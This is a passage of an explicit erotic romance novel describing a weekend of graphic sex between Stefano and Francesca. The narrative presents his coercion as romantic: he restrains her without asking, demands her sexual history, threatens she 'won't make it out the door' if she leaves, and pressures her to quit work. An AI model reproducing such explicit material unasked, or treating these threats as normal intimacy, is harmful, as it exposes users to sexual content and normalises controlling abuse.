The hand at her thigh caught at her damp panties, tugged hard and tossed them away, onto the elegant floor of his apartment. Francesca could feel the hard, cool surface of the marble sideboard against her bare butt. His fingers went straight, unerringly, to her clit, and another strangled sound escaped, this one nearly a sob.
"Stefano." His name came out low, needy, more of a whispered pant than anything else. "That feels . . . extraordinary."
His mouth moved over the curve of her breast, suckling gently, and then he lifted his head, his fingers still working between her legs. His gaze was fierce, possessive, the blue so dark with hunger her womb spasmed.
"How many men have fucked you?"
Shocked, she let her eyes fly open and both hands went to his wrist, the one between her legs. She tried to pull his hand away, but he was far too strong. She couldn't sit up, couldn't move; he had her pinned there like a butterfly stretched out on a mat.
"Stefano."
"Answer me. How many?"
She blushed. An entire body blush. Her body had melted until she felt boneless, incapable of fighting the flood of need his fingers produced. He didn't look away from her, his blue eyes boring into her, mesmerizing, demanding her response.
"That's none of your business." Her voice was low, shaky even. He was scaring her just a little bit. She was alone with him and her body had long since betrayed her. She knew she would never get over wanting him. His mouth. His touch. She felt empty, and she needed him to fill her.
"Fucking answer me now, Francesca."
Even his voice was scary. She couldn't imagine anyone disobeying him. He didn't raise his voice; in fact, if anything he lowered it. She lay there, totally exposed, naked, his fingers inside of her, moving in a hard, stroking rhythm that sent her brain into total chaos.
She moistened her lips with the tip of her tongue and capitulated. "One. I've had one man. Once."
He stilled. Even his fingers. She writhed. Bucked her hips. Needing those strokes. She'd been close. So close and now it was all fading away. He was still in his suit, even his jacket, and she was naked, her bare butt on a marble sideboard. Her hips moved involuntarily, but he didn't take the hint.
" _One? Once?_ Did the fucker even get you off?" He sounded angry. As if her admission had enraged him.
Now even the fact that his finger was still pressed over her clit and another one had worked its way inside her, stretching her, causing a slow burn, couldn't keep that feeling of terrible need going. She pulled desperately at his wrist, trying to remove his hand so she could sit up.
"Stefano, let me up."
"Not a fucking chance in hell, Francesca. Now answer me. Did he make you come? Was it at least good for you? Did he take his time?"
"Why are you asking me?" This was so humiliating. He was pure stone, with the exception of his eyes. She hadn't known blue could turn into a flame. That desire could be so intense it was stamped into every line of his face.
_"Bambina."_ He made an effort to gentle his voice. "My cock is as hard as a fucking steel spike. In case you haven't noticed, I'm on the very edge of my control. I don't want to hurt you and I need to know just how much you can take. I'm feeling rough, brutal even. I want to fuck you so hard you feel my cock all the way in your belly. In your throat. So please answer me, _dolce cuore_."
One possessive hand swept down her body, from her neck to the vee at the junction of her legs. The finger pressing down on her clit moved. Circled. Sent waves of lightning streaking through her. Just like that she couldn't see straight. Couldn't move. She belonged to him. Would always belong to him.
Francesca shook her head. "No, it wasn't good." The admission came out a whisper. "You've made me feel more just now than I ever felt with him."
There was a silence as his blue gaze moved over her body. "You're mine, Francesca." He made the statement quietly.
Her heart pounded. It was the way he said it. The way his blue gaze branded her, every inch of her.
"Your body is mine. No one touches you. No one else ever puts their hands or their mouth on you. I'm not easy, _dolce cuore_ , but I'm yours. I swear that to you. I'm yours, and I'm going to make you feel so good." He didn't wait for a reply, bending to take her mouth.
Her heart stuttered as his declaration and kiss swept every bit of sanity out of her head. He kissed his way to the swell of her breast, sucking and nipping with his teeth until the little stings and soothing caresses had her gasping for breath and moaning low in her throat. His mouth and teeth trailed fire right down the center of her body, to her belly button, where he paused to swirl and dip his tongue, and then his mouth continued the journey, to claim every inch of her body. He sucked hard in spots, bit down until she jumped or cried out with the shocking bite of pain and then the soothing caress of his tongue. Just like that, he took her back to that place, surrounded by him, willing to be his, needing him.
He dragged her body closer to the edge, forcing her legs over his shoulders as he continued the assault on her senses, his tongue sweeping across her clit so that she nearly jumped right out of her skin. She heard her low, keening cry filling the room as his tongue began a dance over her most sensitive spot, flicking hard and then softly stroking until she thought she'd go insane with need. He began to suckle, a strong, hard pull, while his tongue continued to flick and tease until she was thrashing wildly.
Nothing had prepared her for his assault on her nerve endings. Not that first fumbling boy who had come too fast and left her hurting and embarrassed, vowing never to try sex again. Not her own fingers when she was desperate for something she didn't understand, chasing a feeling that would never come.
Stefano was relentless, not giving her time to think or breathe. He just took over her body, his finger sliding into her wet tightness, curving, finding that perfect spot deep inside she hadn't even known existed. The gathering tension coiled so tightly she knew a tsunami was coming.
"Touch your nipples, Francesca," he ordered. "Pinch and pull, hard. Like I did. Don't be afraid of being rough. You like that. Every time I bit down, I could feel how wet you got for me. So hot. So slick. I want to watch you."
She'd never done anything like that, but she didn't think to disobey him. Her hands slid up her body to cup the weight of her breasts in her palms and then she flicked her nipples experimentally. She wanted his mouth back. He was poised, right there. She could feel his breath on her clit, his lips so close. His eyes, those twin blue flames, burned into her, watching her, waiting for her to do as he told her. She knew if she didn't, he wouldn't give her what she wanted.
Her fingers pinched her nipples. Tugged. Rolled.
"Harder, _bella_." His lips, when he spoke, teased her clit.
A moan escaped. His demands only made her body climb higher with need. She did as he said, tugging harder. Pinching and pulling. Streaks of fire raced straight to her center so that her inner muscles spasmed, contracted, so close, the terrible pressure building even more. His shoulders held her legs spread wide, while his mouth worked at her and his finger continued to push that need to the breaking point.
She writhed and tried to push against him. She needed a moment. Just one moment to catch her breath, to get back her sanity, to try to still her wild mind enough to think, but he pressed one hand flat on her belly, fingers splayed wide, easily controlling her, holding her in place so that she had no choice but to plead for release. She begged him as he took her close several times, but stopped or slowed before she could tip over the edge.
He plunged a second finger into her without any warning, simultaneously giving her an order. "Now, baby, come for me now." She did, screaming, as her body shattered, fragmented, her back arching, her hips bucking, a sob welling up as the tsunami roared through her.
Stefano's blue eyes were dark with satisfaction, arrogance stamped into every sensual line. He slowly straightened, taking her legs with him as he did so. He ran his hands over her body, from her breasts, down her narrow rib cage to her belly and then along her thighs. Francesca couldn't move, her body so boneless she thought she might have melted into the marble she lay on.
He reached down and caught both her wrists in one hand, pulling his tie from around his neck with the other. He wrapped the soft tie quickly around her wrists and then pulled her arms above her head, securing the loop he'd made into a hook built into the wall at the end of the sideboard. He accomplished the entire thing with dizzying speed. She actually didn't comprehend what he'd done until he stepped back from the table, slowly shrugging out of his jacket, his eyes never leaving her face. He smiled, a feral, predatory smile as he slowly unbuttoned his shirt while the fact dawned on her that she was his captive.
Francesca tugged at her hands, still dazed, watching him as his hand slowly undid his belt buckle and unzipped the fly of his trousers. "Stefano?" Her voice was weak with excitement and trembling with fear.
"You're all mine, _amore_ , and you're going to have no doubts about that by the end of this night."
She had no doubts already and watching him remove his trousers to reveal his heavy erection only added to the scorching heat building so fast inside her. He was impressive and beautiful to her. She'd never thought a man could look so hot as he stepped in close again.
"You on birth control, Francesca?" he asked. His hand slid down her belly to the junction of her legs. His hands stayed right there, waiting for her answer.
She couldn't find her voice, so she just nodded.
"I'm clean, _dolce cuore._ I've never fucked a woman without being gloved. Not ever." He had her spread wide still, his body forcing her legs apart while his hand circled the girth of his cock. "You come when I tell you, Francesca. You understand me, _bambina_. When _I_ say. I'm going to make this good for you, but you listen to me and do what I say."
She shivered at the sheer arrogance, at the intense hunger in his hooded gaze. He bent to flick her nipple with his tongue and then he used his teeth, biting down while he rubbed the head of his cock over her clit, back and forth. She nearly exploded again, the bite of pain adding to the pleasure storming through her.
Francesca hadn't thought it would be possible to be so needy again so fast, but within moments she was squirming, trying to impale herself on that teasing spike that rubbed so seductively over her very sensitive bud.
"Look at me, Francesca. Keep your eyes open and keep looking at me while I take you."
The hard authority in his voice sent more liquid heat to bathe her entrance. He mesmerized her, captured her with his sheer personality. She couldn't have looked away even if the room filled with people. She was well and truly his.
Stefano slid his cock inch by inch, as slowly as he possibly could, into Francesca's scorching sheath, drawing out the moment as long as possible, savoring the feeling of her oh so fucking tight channel reluctantly giving way for him. He could feel every heartbeat right through his cock. He'd never been so hard in his life. So near the loss of control when control was everything to him.
It might make him the biggest bastard in the world, but he liked that she was his to teach all the things he liked, the things he needed. He was a jealous son of a bitch, although that trait was brand-new, just emerging since he'd found her, but the thought of another man with his cock inside her made him killing crazy. He could understand why he'd been taught discipline at an early age. One couldn't hunt down some boy who had stolen his woman's virginity from him and kill him, although he acknowledged the urge to do so was there. He didn't ask his name because he didn't fully trust himself to act in a civilized manner. He didn't feel civilized when he was around Francesca. He felt primitive, a savage brute who would keep his woman away from other men by any means available to him.
He loved watching her eyes widen with shock as he pushed through those tight, scorching-hot petals. So tight she was strangling the life out of him, but he was going to die a happy man. It was a form of ecstasy, the pleasure and pain mixing until he wasn't certain where one began and the other left off, but there was no way he'd ever stop. No. Fucking. Way.
Finally, he managed to bottom out, forcing her body to take all of him. He was long and thick and she was so tight that for a moment he had to fight for control to keep from spilling his seed right there and then. Fucking perfect.
He stared down at her, his cock swelling impossibly more at the sight. She was spread out like a feast, his marks all over her. Bite marks branding her as his, purple circles coming up where he'd suckled her delicate skin, forming a pretty necklace that declared to the world she belonged to a very possessive man.
Watching her eyes, he pulled back slowly, savoring the feeling of her tight muscles dragging over his throbbing cock as he withdrew. Blood pounded through the thick, heavy spike in time to his heartbeat, proclaiming his hungry, urgent need. Her eyes widened. Her mouth formed a perfect little _O_. He loved how she looked, her breasts jutting upward, nipples tight, arms stretched over her head, hands bound together, his marks all over her little curvy, smoking-hot body. His. All. His.
He tried for control. For careful. Mindful of her innocence. Mindful that she was new at this. But heaven help him, she started moaning. Whimpering. Mewling like a little kitten. Her body writhed and bucked and deep inside he felt the tremors, the way her tight muscles milked and gripped. It would have been too much for a saint and he was the devil himself, so there was no way to stop him from driving deep. Francesca let out a small scream that vibrated right through his cock, destroying his self-control completely.
He slammed home. Brutally. Rough as sin. Fire streaked through him. White lightning. She cried out as his fingers dug deep into her hips and yanked her into him as he hammered into her. Over and over. Not letting up. Taking her. Pounding without mercy for either of them.
His hands cupped her ass, that beautiful delectable, _edible_ ass he loved to watch as she walked. He'd dreamed of her ass, had multiple fantasies about it. He dug his fingers into her and held her pinned, completely immobile while he lost himself in her. He'd never fucked so hard in his life. She screamed when he bore down hard over her clit. Thankfully that hadn't been a scream of pain. He wasn't certain he could have slowed down or stopped.
Francesca stared at him with dazed, shocked eyes. Obeying him. Remembering on her own to let him see what he was doing to her. How she was reacting. He was out of control, but thank fuck she gave him her eyes so he could ensure she was enjoying what he was doing to her. Her breasts jolted invitingly with every brutal thrust. Her breath came in ragged, gasping pants, adding to the music of her whimpers, screams and the sound of his name, so breathy he wanted to double his efforts to hear more. He'd never seen anything so fucking hot in his life.
Stefano couldn't pretend he hadn't been with a lot of women before Francesca. He'd felt momentary pleasure—a _lot_ of pleasure. The truth was, he had an intense job, and fucking was release to him. It was good and he liked it, but being with Francesca wiped out every other time before her. He knew he would never forget this moment as long as he lived. The way she looked. The way he felt. His cock was in fucking heaven, the pleasure ripping through his body, until every nerve ending he had was a part of the fireball streaking through him.
He used his hands to control her hips, to place her in the best position, tilting her until he heard her gasp as his cock sawed over her clit and hit that sweet spot deep inside her over and over. The pounding beat thundered in his ears, roared through his body as he felt her shudder from the pleasure he created with his cock hitting that perfect spot. He wanted to feel her come apart from the inside.
He watched her face. Her eyes. Her head thrashed and she moaned continuously, her breath hissing out of her. She was close. So close. He wanted it all from her. Her orgasm, so strong she convulsed, her submission, so total she knew she belonged to him. He wanted her to know _he_ gave that to her, an all-consuming rush of fucking heaven.
"Keep looking at me, _dolce cuore_ —don't look away. Stay with me."
Her lashes had begun to drift down, her head turning to one side. At his command, she struggled to obey.
"Francesca, come now for me. I want to feel it. Let go for me." He wasn't asking. He poured steel into his voice as he hammered deep.
He rammed into her over and over, harder than ever, each thrust jolting her body. He was merciless, relentless, pounding his cock right into her G-spot. "Now, baby," he reiterated. "Let go."
Francesca's gaze clung to his, and he knew the exact moment she gave herself to him. The submission. The trust. She let go and gave herself into his keeping. She screamed, loud and long, a wail that filled the room as her sweet, scorching-hot sheath clamped down on his cock like a fucking vise, taking him with her. Her body shook, breasts dancing, hips bucking, legs stiffening as she mewed, her inner muscles convulsing over and over, as her climax ripped through her. Jet after jet of hot seed pumped into her, filling her, prolonging and adding to the strength of her orgasm.
He stayed locked to her, feeling her body convulse around his, over and over, the aftershocks nearly as strong as the continuous climax. He had no idea until then that perfection could actually be achieved, but that moment was utter perfection. Looking at her. The dazed look in her eyes. Her flushed body covered with his marks and brands. He fucking loved that. His body joined with hers so that they shared the same skin. Her sheath, so scorching hot surrounding him, still milking his cock while his seed boiled inside of her.
He wished he had recorded it, so he could replay his claiming her over and over. If he could have, he would have ordered his name tattooed across her breasts. He'd have it branded on her ass. He wanted every other man in the world to see her like this, under him, in complete and total submission. He'd been a selfish bastard taking her like that, but he wanted her to know who he was, the kind of man she'd be living with. He'd been half terrified that she wouldn't be able to take him, but she'd loved every single thing he'd done to her. Yeah. She was exactly what he needed in his bed.
His woman. A woman he never believed he'd ever have. Not. Fucking. Ever. He hadn't believed he would have anything or anyone that was totally his alone. He'd lived his entire life knowing his life wasn't his own and never would be. He'd been born a shadow rider and that meant he had responsibilities not only to his family, but to others. He couldn't walk away from those responsibilities, not ever.
"You're so fucking beautiful, Francesca," he said. "I'm not nearly finished with you. I'm going to take you in so many ways tonight you'll be so sore you won't be able to move tomorrow." He wanted to come all over her beautiful breasts and rub his seed into her skin. Into her pores. Without unlocking himself from her body, he reached up and carefully unhooked his tie and gently pulled her arms down. The movement caused another powerful aftershock so that her sheath clamped down again, massaging life back into his cock.
She let out a small whimper and he immediately ran one hand down her body, from her throat to her belly in a soothing caress. "Relax, _amore_ , let me get this." He unwrapped her wrists and kneaded her arms, making certain the blood flow hadn't been interrupted.
"Do you do that a lot?" The question was hesitant. Her voice trembled.
His gaze jumped to hers, trying to assess exactly what she meant. Exactly what was bothering her. "Do what?"
She gestured with her chin toward his tie. "That."
"I would have used my belt, but the tie was softer."
She took a breath, her face flushing. "Do you tie up all your women, Stefano?"
"I've never tied up another woman. Never. Why would I bother? They didn't belong to me, _bambina_. You belong to me. Only you."
Relief crept into her eyes. It wasn't that he'd tied her hands that bothered her, only the thought that he might have done the same to another woman. He fucking loved that. Reluctantly he allowed his cock to slip out of her. For one brief moment he'd been sated. That was already gone. Just seeing her body spread out before him like a feast was enough to get him started again. Catching her ankles, he slowly lowered her legs from his shoulders to the sideboard and then he reached for her.
He swept her into his arms, cradling her close to his body. "Put your arms around my neck."
"My clothes . . ." She looked around her a little helplessly.
"Sorry, _bella_." He couldn't quite help the laughter in his voice. "I destroyed them." He strode through the large apartment to the master bedroom.
Her fingers clutched his shoulder. "My room is the other way."
"This is your room. You belong with me." There was no room for argument. She was sleeping in his bed and would for the rest of her life. "And you'll sleep naked or in some hot little number that I'll rip off you in three seconds flat. I want to feel your soft skin next to me, and know that all I have to do is roll over and push my cock deep inside you anytime I feel like it."
He took her right through his bedroom to the master bath and set her feet on the tiles. With one arm locking her to him, he ran warm water over a washcloth and then crouched in front of her. "Widen for me, Francesca."
She blushed. It was cute as hell, especially given the way he'd fucked her. He tapped her inner thigh when she didn't obey him. She dropped a hand to his shoulder to steady herself but obediently spread her legs for him.
"I'd prefer to do that myself."
She had a little snippy bite to her voice that made him smile. "You're mine, _bambina_ —that makes this my privilege." He carefully washed her thighs and then pressed the cloth against her slick heat. "Did I hurt you?"
She shook her head. "You know you didn't. It was . . . amazing."
When he finished he leaned into her and pressed a kiss in the dark curls. "Go lie on the bed, Francesca. On your stomach."
Her small white teeth sank into her lower lip. "Stefano . . ." She broke off when he gave her a hard look.
"I'm not fucking around tonight, _dolce cuore_. I waited too long for you. Go lie on the bed."
She took a breath as he stood, deliberately towering over her, crowding her space. "Do you have any idea how scary you can be?"
He tipped her face up to his and leaned down to brush a kiss across her mouth. "Sadly, Francesca, you'll get over that all too soon." He turned her around, gave her a swat on her bare ass, at the same time giving her a small push toward the bedroom.
Francesca yelped and threw him a smoldering look over her shoulder, one hand rubbing at his handprint on her bottom as she made her way back into the bedroom. He threw back his head and laughed. She was _everything_. To the outside world, he had it all. But his brothers, his sister . . . He shook his head, his smile fading. His cousins in New York, the ones in San Francisco and those overseas, shadow riders, all of them had no life and no hope of one. Not one that belonged to them. Until Francesca.
Word had spread fast through the family that Stefano had found a woman and that not only was she capable of producing shadow riders, but he had fallen for her. They actually had real chemistry. It wouldn't be a marriage of convenience, but a true love match if he could manage to make her fall for him. If he could keep her. For him, Stefano knew there wasn't an _if_. He _would_ keep her because now, for him, there wasn't a choice. He couldn't give her up. He wouldn't have done so before he fucked her, but now, after having his cock inside of her, after feeling her tight, scorching body surrounding his, he'd move heaven and earth to make her happy. To keep her.
She represented hope for his cousins, for his brothers and sister. If Stefano could find Francesca, they had a chance. He glanced through the open doorway and his heart nearly stopped. His woman had done as he'd asked. She lay in the middle of the bed, facedown, nothing covering her bare body, just stretched out on top of the sheets, her face buried in the crook of her arm.
His heart swelled with pride. She was shy with him. A little scared. She had courage and had shown him more than once that she could stand up to him, but she'd _chosen_ to obey his orders. She'd given him her trust again. He stood there a long time, one hip against the doorjamb, his gaze devouring her while emotions he'd never felt before threatened to overwhelm him.
He took his time cleaning his cock and thighs before going to her. She didn't move when he put a knee to the bed and then straddled her thighs. "You asleep, Francesca?"
"Not yet. Just drifting."
The drowsy note in her voice had his cock coming to attention. "Keep drifting." He bent to press a kiss between her shoulder blades and then he reached down to run his fingers down her left arm. "Give me your hand, _dolce cuore_." He shackled her wrist with his fingers and she turned it over.
Stefano pulled the ring out of the box sitting on the end table beside his bed and slipped it onto her finger. It looked good there. Perfect. A claim to the world that she belonged to him. If the world couldn't see the necklace of love bites, or the brands he'd put on her skin with his teeth, then his ring would have to do.
She pulled her hand to her face the moment he released her. He felt the sharp inhale as she took in the exquisite diamond surrounded by glittering smaller ones, smaller, but no less beautiful. "Stefano, I can't wear this."
"You'll wear it." He began to massage her shoulders and back, using firm, hard strokes to ease the tension out of her muscles.
"It's too expensive. What if I lose it?"
He liked that. She wasn't afraid of wearing it to proclaim to the world she was his, only that she might lose it.
"Then I'll buy you another one. You're mine and it matters to me that everyone knows you belong to me. I don't want other women like Janice or Doreen to make you doubt what I feel for you. When you're not right beside me, I want you to have absolute confidence that you're all I'm thinking about. You're the one woman I care about."
Her face was turned to one side, but he saw the small smile forming on her soft lips. He slid off of her, his hands catching her around her waist, pulling her up onto her knees and then pressing her chest to the mattress with one hand, leaving her ass in the air. He knelt behind her, his hands rubbing her bare cheeks. He was extremely fond of her ass, that firm, rounded, almost heart-shaped butt with a small dimple that he couldn't help leaning into to bite.
She cried out, but she didn't move from the position he'd placed her in, and when he pushed his fingers into her, he found her slick with her special brand of honey. "I love that you're ready for me, Francesca," he confessed.
"I think I'll always be ready for you, Stefano," she admitted. "Just the sound of your voice makes me wet."
She couldn't say things like that to him without his cock getting so hard it hurt like a bear. He pressed the broad, weeping head of his cock to her hot entrance and waited a heartbeat. Two. Savoring the moment. Loving the look of her. "I want my seed all over you and in you," he declared fiercely. "I want to cover your back, your ass and your breasts, Francesca, and then rub it in. I want to fuck your mouth and come down your throat. I want you every single way I can have you. Does that scare you?"
There was a pause. A silence while his heart slammed hard in his chest and his cock throbbed with the need to be inside her.
"Only because I don't know what I'm doing yet and I don't ever want to disappoint you," she replied softly.
He slammed into her. Deep. Watched his cock disappear into her and it was hot just holding himself there, very still, while his cock pulsed deep inside her. Taking her this way allowed him to go even deeper. She pushed back. Wiggled. Reminding him she wanted more. He laughed softly and swatted her heart-shaped ass just to see his handprint there, another brand. "Eager little thing. You can just wait. I'll give you whatever you're going to get when I'm ready."
"Macho much?" she muttered.
He flexed his fingers on her hips. He loved when she defied him. Or talked back. He loved when she submitted her will to his. He loved her sexy body and the fire she surrounded him with. He really, really loved how fucking tight and scorching hot she was. He eased back, deciding to take his time and make this last. Then he heard her sharp gasp, the ragged little protest as she tried to chase him with her hips and he took her in another brutal, merciless assault. He hadn't meant to, but her little sexy moans and whimpers, the pleas and soft little sobs, robbed him of control every time.
Stefano pounded into her, letting the thunder roar in his ears, hearing the music of her cries, feeling the absolute paradise of her sheath and he just gave himself up to that ecstasy. He took her up over and over, forcing her to shatter around him three times before he finally emptied himself in her. Before he collapsed on top of her, driving her down to the mattress with his heavy weight.
It took a long time before he could catch his breath enough to ease off of her. She moaned but didn't move. He cleaned her up and then himself before falling into bed beside her.
"I swear, _bella_ , a couple of more times and I'll be able to find my gentle and take you slow and sweet the way I should have done the first time," he promised, curling his body around hers. He pinned her by draping one thigh over both her legs and then cupped her breast in his hand, his thumb lazily strumming her nipple. He pushed his semihard cock into the sweet crease between her cheeks, so that it nestled there, all warm and happy.
"A couple of more times and I won't be able to get up and go to work tomorrow," she pointed out with a small, whispery laugh that played along his nerve endings. She pushed her buttocks back into the cradle of his hips, driving his cock deeper into her.
He fucking loved that. "I meant to talk to you about that, _dolce cuore_ —there's no need to work anymore. It might be a good thing if you let me tell Pietro that you aren't coming back."
She leaned down and sank her teeth into his arm. Hard.
" _Dannazione donna!_ Seriously?"
"I'm working, and don't you dare talk to Pietro. I mean it, Stefano. You do that, and I won't be sleeping in this bed or this apartment. You don't get to dictate to me."
She didn't lift her head from the pillow again; her tone was mild, but she meant it. That didn't sit well with him.
"First, Francesca, don't ever threaten to leave me. You won't make it out the door. I want you very, very clear on that. Second, something matters to you, it matters to me, so just say so without the drama. The bite, okay, I get that, but not the threat. Are we clear?"
"Yes, honey, we're clear," she said softly. "Now I really have to sleep."
"I was going to let you sleep," he pointed out, "but now you fucking made my cock hard again with that bite. You have to take care of that before you can sleep."
"You'll have to do that work."
"Fine by me. I wanted to fuck your breasts and cover you in me. That okay with you?"
"Everything you do is okay with me," she said, and rolled over onto her back. "I might be a little afraid sometimes, Stefano, but I'm always willing to try."
" _Dio, bambina_ , you make me almost humble. I'm too fucking arrogant to actually be humble, but it's there."
He was rewarded with her laughter. He straddled her body, rubbing his balls along her belly. She felt so little under him. So soft. He cupped her breasts in his hands before leaning down to give them attention. "I'm going to see if I can make you come without doing anything but using my hands and mouth on your breasts and then I'll fuck you right here. I won't be cleaning you up, Francesca. You're going to go to sleep with me all over you."
"Why do I find that so hot? You're making me wet all over again," she accused. "Can you really do that?"
He proceeded to show her he could.
# CHAPTER SIXTEEN
Fortunately, or unfortunately—staring at herself in the mirror, Francesca couldn't decide which—she had had the weekend off. She couldn't get up and go to work after she'd practically thrown a tantrum fighting for the right to do so. That meant Stefano stayed in his apartment with her and they'd barely made it out of bed. When they did, that didn't seem to matter to him. He took her in the kitchen on the table. On the counter. On the floor in the hall. Up against the wall in the living room. On furniture. In the shower.
Stefano was creative and he'd seemed determined to know every inch of her body and claim it for his own. She was fine with that at the time. Now, looking at the marks on her, the ones she'd loved him putting there, she thought maybe she was a little crazy. The necklace of purplish bites on her neck had barely faded and she doubted if she could find anything to cover them when she went to work.
She swore she could still feel him deep inside her. She was fairly certain she had skid marks on her butt and floor burns on her back. She touched one of the bite marks on her left breast. Just that, the sweep of the pads of her fingers, made her shiver. That was how sensitive she was. That was how awake he made her body.
There was no noise—Stefano never made any when he walked—but he was there, behind her in the mirror, one arm snaking around her waist and pulling her back into him and locking her there. He'd just taken her in the shower, after she'd sucked him off in bed. Her body still was having aftershocks, which she hadn't thought possible just a few days ago. He nuzzled her neck.
"I love how you smell," he murmured, his tongue and teeth already wreaking havoc.
She watched the way her nipples came to twin hard peaks and felt her body melt right into his, pressing back into his bare skin. He was always hot and hard. Perfect. She reached back and circled his neck with one hand, the action lifting her breasts as if an offering. Instantly he cupped them in his hands, and she felt his teeth sink into that sweet spot between her neck and shoulders. That bite of pain coupled with the brush of his thumbs on her nipples sent a spasm through her sex.
"You're so fucking beautiful, Francesca." His eyes met hers in the mirror. "You sure you don't want me to talk to Pietro? I'm all for staying in another few days."
"I'd love to," she answered honestly. "But I can barely walk. I'm sore, Stefano. Seriously sore and I can't seem to resist you. I'm also not going to be a kept woman. I need to earn my own money."
His head came up, body going still. His arm tightened into an iron band. "You're sore? Why didn't you say something to me?"
She turned in his arms and wrapped both hands around the nape of his neck. She knew him now. He was totally protective. He would _detest_ that she was sore and he hadn't noticed or thought of it. Well, he'd thought of it; he'd run her a hot bath countless times, but she always ended up straddling his lap and they'd make a mess of the bathroom floor, water everywhere from their splashing in the tub. She shouldn't have said anything to him.
"Honey, I _loved_ what we were doing. I wasn't going to miss one moment of it. I'm not _that_ sore." That was a lie. She winced because he knew it. His expression told her he did. That and the sudden swat on her bare butt. He smacked her hard. "Ow. Seriously?" She tried to pull away from him but his arm didn't budge. He didn't even act like she'd moved.
"Don't fucking lie to me. Not. Ever. I don't like that I hurt you, Francesca. I like rough sex. I like knowing you're mine and I can put my mark on you and you love it. But not at the cost of hurting you. That's not okay." He suddenly caught both her wrists, pulled them to him so he could inspect them. He'd tied her up more than once. She knew it was more for fun than anything else, but he liked it. He liked having her at his mercy and she'd enjoyed those times with him especially.
"No bruises," she pointed out hastily. "Stefano, I wouldn't have wanted to miss one moment with you. It was the most beautiful weekend I've ever had in my life. I do have to get dressed for work though, and so do you."
He sighed, bending his head to press kisses into the pulse beating in her inner wrist. "You don't have to work. That doesn't make you a kept woman. When we have children, I want you to be with them, not working in some fucking deli so you can call yourself independent. You're never going to be independent. I'm your man, _bambina_ , and that means you lean the fuck on me."
"We don't have children yet, Stefano. And stop saying _fuck_. I mean it. You need to clean up your language. Sometimes you use that word twice in the same sentence. When we have children, I don't want that to be the first word out of their mouths."
He stared down into her eyes, holding her there like he could, just with his gaze, mesmerizing her. Keeping her captive, under his spell. A slow smile transformed the hard edges of his handsome face. He was so beautiful to her. A gorgeous man and she was falling more and more in love with him.
He'd spent the entire weekend worshiping her body. Claiming her so possessively. Insisting on feeding her. Washing her. Brushing her hair. He treated her like a princess when he wasn't pounding into her. She liked the pounding most of all. And when he slowed it down and took her breath away, he brought tears to her eyes.
"I can do that for you," he agreed. "But you do something for me. Start thinking of us together. What I have is yours. What you have is mine."
She swallowed hard. Shook her head. Felt tears burn behind her eyes and blinked rapidly in an effort to keep them at bay. "I don't have anything to give you, Stefano. I'm not bringing anything to the relationship but trouble. Barry Anthon is trouble. You know that. Any way you look at it, he's trouble. You have so much money, and you're so—extraordinary. You are. I'm . . ."
He took her mouth, cutting her off. His hands slid down her back, following the curve of her spine to her butt, his hands drifting lower to grip and pull her in tightly so that his cock was pressed hard against her. "Are you wet for me, _dolce cuore_?"
"I am," she whispered. "Of course I am. How could I be anything else when you touch me, Stefano?"
"That's what you bring to me, Francesca. That's what you give to me. You. Your trust. Your body. I want to do all sorts of things to you. Things that scare the hell out of you, things you're still a little too innocent for, but you trust me and let me do them anyway. You give me that, and it's the greatest gift a man can get. When you go down on me, you enjoy it. You think about giving me pleasure, not what you're getting out of it. You think a man doesn't love that? Need it? To know that you love giving me that is everything. I have it all with you."
"Stefano, I hesitate to tell you this, because you might be just a teensy bit arrogant, but _any_ woman would do that with you. How could they not?"
He shook his head. "I've had more women than I ever want to admit to you, but I didn't want to do jack to them. Just get off. That was it. I wanted to fuck their brains out and get them the hell away from me. I didn't feel anything but that rush, _dolce cuore_ , that release. With you . . ." He broke off, shaking his head. "I think about you every minute of the fucking day. I wake up in a sweat, wanting you, my body so fucking hard it's painful. I jacked off thinking about you wearing my coat a hundred times. It's pathetic how obsessed I am with you."
Her heart pounded. So did her clit. Deep inside she felt a desperate spasm. Her hand dropped to his cock. "I think now would be a good time to lift me up and let me wrap my legs around your waist. I don't care if I'm a little late for work. Pietro won't fire me, will he?" She leaned into him, her teeth closing over his earlobe. "And just for the record, you said 'fuck' three times just now."
There was pure seduction in her sultry voice and in her stroking fingers. She was getting darned good at learning what he liked. She paid attention because he was right; his pleasure did matter to her. She wanted to see that pleasure on his face, feel it in his body, in the spill of his seed when he took her. She loved the expression he got when he was inside her, when her body gripped and milked his. Just that could get her off. That was how much she liked it.
"I'll get you off with my fingers, Francesca, but not my cock. You're sore and I'm not going to make it worse."
She blinked up at him, shocked. "You're turning me down?" She had never considered that he would, not for one moment. It hurt, even though intellectually, she knew how protective he was. He was as hard as a rock, but still, he'd turned her down the first time she'd initiated sex with him. That felt . . . _horrible_.
He swept her up into his arms, in that way he had, fast and irrevocably, _decisively_. Before she could protest, he dropped her on the bed, and was down on top of her, blanketing her body, his face buried between her legs, his cock poised over her mouth, an offering. Already his tongue and fingers were in play, working at her, driving her up so fast she couldn't quite catch her breath so she stroked his cock and then began to lick him as if he were an ice-cream cone.
Her mind had gone instantly into chaos, the roaring in her ears driving out everything but him. His body, so hot and hard, pinning her down. The way the head of his cock teased along the seam of her lips, so that she could taste the addicting little drops that made her hungry for more. His mouth bringing fire, his tongue stabbing deep, flattening against her clit while he stroked and made her burn.
She all but swallowed him down. She _loved_ the shudder that ran through his body, the way his hips jerked involuntarily. _She_ did that. Francesca Capello. The power was incredible. Knowing she pleased him, that she could bring him to the very edge of control, was a heady, wonderful feeling. It added to the pleasure his mouth and teeth and fingers brought her.
The more his cock swelled and surged, the more his tongue plunged and the fire leapt and burned. She drew him down, trying to take all of him—an impossible task, but one she worked on diligently, happily. She used her tongue and hollowed her cheeks, suckling strongly. Her hand slid over him easily, pumping, because she'd gotten him so wet with her mouth.
He lifted his head and growled. _Growled._ She loved that. "Harder, Francesca." It was a demand, nothing less.
She complied, clamping her mouth tight around him, gripping him with her fist tighter than she thought possible. He was like iron. Hot. Velvet soft. Perfect steel. She was close. So close. She wanted him with her because she knew when she exploded, she would have to stop and that would leave him frustrated.
His hips moved to a faster rhythm, driving deeper than she had ever previously taken him. She had nowhere to go. She thought she was in control, but realized he was. She was under him, his weight pinning her down, his hips suddenly in charge, not her hand. That only added to her excitement. She did trust him. She knew, even when he plunged deep and held himself there, she didn't panic when she couldn't breathe. Stefano would never, ever harm her.
She almost cried out when his cock withdrew. Remembering at the last moment to take a breath, she suckled hard, drawing him back, reveling in his possession. Then fire was streaking through her. It happened so fast, so hard, it took her off guard. At the same time his cock swelled, heated, pumped into her, down her throat, forcing her to swallow. That triggered an even bigger quake, her entire body rippling and shuddering with pleasure.
